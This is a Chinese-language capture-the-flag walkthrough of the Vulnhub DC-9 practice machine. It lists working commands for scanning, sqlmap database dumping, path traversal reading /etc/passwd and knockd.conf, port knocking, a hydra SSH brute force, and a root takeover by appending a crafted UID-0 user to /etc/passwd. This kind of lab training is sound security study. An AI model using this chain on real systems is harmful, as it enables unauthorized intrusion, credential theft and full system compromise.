一、靶机介绍
Vulnhub靶机下载:
二、渗透过程
1.信息收集
2.web渗透
a. http访问80端口
b.SQL注入漏洞
三、利用knockd打开ssh
四、提权
1.提权的基本方法
五、总结
官网地址:https://download.vulnhub.com/dc/DC-9.zip
DC-9开机界面
主机发现
kali中的arp-scan和nmap都可以:
arp-scan -l
nmap -sP 192.168.184.1./24
得到DC-9的IP为192.168.184.128
端口扫描
nmap -T4 -A -v 192.168.184.128
扫描出来80端口和22端口,但22端口是关闭状态。
可以考虑的方法有 右键F12查看源码 SQL注入 暴力破解 目录扫描
nikto -host 192.168.184.128 #nikto会自动补充80的端口和默认的根目录
得到/config.php /includes
访问/config.php,空白界面,可能是无权限。
访问 /includes
测试search.php是否有SQL注入
跳转到resulls.php,说明此页面应该是有SQL注入。
F12查看URL的信息
Sqlmap跑一下
sqlmap -u "http://192.168.184.128/results.php" --data="search=1" #查看是否存在漏洞
存在SQL注入漏洞
爆库
sqlmap -u "http://192.168.184.128/results.php" --data "search=1" --dbs #列出数据库
三个数据库
[*] information_schema
[*] Staff
[*] users
先爆users数据库
sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -D users --tables
1. 爆UserDetails表
sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -D users -T UserDetails --dump #列出管理员账号密码(爆表)
把username和password生成到txt文档中。
sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -C "username,password" -T "UserDetails" -D "users" --dump
复制到文档user-dict和pass-dict中。
2.爆Staff数据库
sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -D Staff -tables
爆Users表
sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -D Staff -T Users --dump -batch #batch 自动化运行
运气不错 admin:transorbital1
admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
登录一下
发现提示:File does not exist
显示文件不存在,猜测可能是文件包含漏洞。
wfuzz测试etc/passwd,需要网站的cookie。
wfuzz -b 'PHPSESSID=rjo08bi63fp8js96948u40sas8' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.184.128/manage.php?FUZZ=../../../../etc/passwd
用--hw 100过滤一下
wfuzz -b 'PHPSESSID=rjo08bi63fp8js96948u40sas8' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.184.128/manage.php?FUZZ=../../../../etc/passwd
确实是文件包含漏洞http:ip/manage.php?file=../../../../etc/passwd
hydra 爆破ssh
hydra -L user-dict -P pass-dict 192.168.184.128 ssh
但是没有爆破成功,发现22端口是filtered,应该是防火墙。
knockd 服务的默认配置路径:/etc/knockd.conf
使用文件包含漏洞遍历一下获取到了 敲门的密码可以这样理解 sequence = 7469,8475,9842
依次用nmap测试这三个端口:
nmap -p 7469 192.168.184.128
nmap -p 8475 192.168.184.128
nmap -p 9842 192.168.184.128
nmap测试22端口
在次测试 hydra -L user-dict -P pass-dict 192.168.184.128 ssh
新开三个窗口,登录这三个用户。
1.chandlerb用户
2.joeyt用户
3.janitor用户有一个密码.txt
把密码生成到pass-dict1中,用hydra在次测试。
ssh登录fredf ssh [email protected]
sudo -l查看一下有没有文件可以使用非root用户执行:
发现fredf用户中的一个文件可以读取任意内容,追加到任意文件提权。
进入目录/opt/devstuff/dist/test/查看test文件,发现是python编译的。
history sudo -l ls -a find/ ...
sudo(sudo
是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root
命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root
的用户运行只有root
才有权限执行的命令)
内核漏洞
SUID
定时任务
以kali本机为例子
cat查看用户信息
cat /etc/passwd
root用户的id为0
使用Openssl构造加密密码,构造新用户admin
将新用户的信息保存到临时文件/tmp/admin中
查看用户信息
openssl passwd -1 -salt admin 123456
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
cat /tmp/passwd
在ssh的fredf上操作
使用test程序将构造的用户和密码追加到/etc/passwd中
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
sudo ./test /tmp/passwd /etc/passwd
cat /etc/passwd
查看/etc/passwd用户信息,已经添加上去了。
su命令登录到admin:123456
提权成功!!!
DC-9靶机渗透总结:
1.在web中遇到登录界面要多方面考虑,比如F12查看源码 SQL注入 暴力破解 目录扫描等等,得到是文件包含漏洞时要多少查看文件目录,比如用户信息/etc/passwd等。
2.在得知22端口ssh服务不是打开状态时(filtered),一定要即使百度出来关于关闭端口的解决方法,得知到knockd服务的知识,查找路径,利用knockd连接到ssh。
3.在得到用户fredf中的py文件可以读取,追加文件等,熟知linux的操作命令,openssl创建新用户admin:123456保存到/tmp/passwd并追加到/etc/passwd,su登录到admin用户,提权成功!!!
新知识点:
①:了解了knockd 服务 默认路径:/etc/knockd.conf
②:学习了hydra 工具的使用 很方便 (工具很强!)
③:了解了Web 文件包含漏洞遍历信息的基础
④:就是/etc/passwd 的格式 这个不了解的话最好一步提权很容易错的
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
("x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)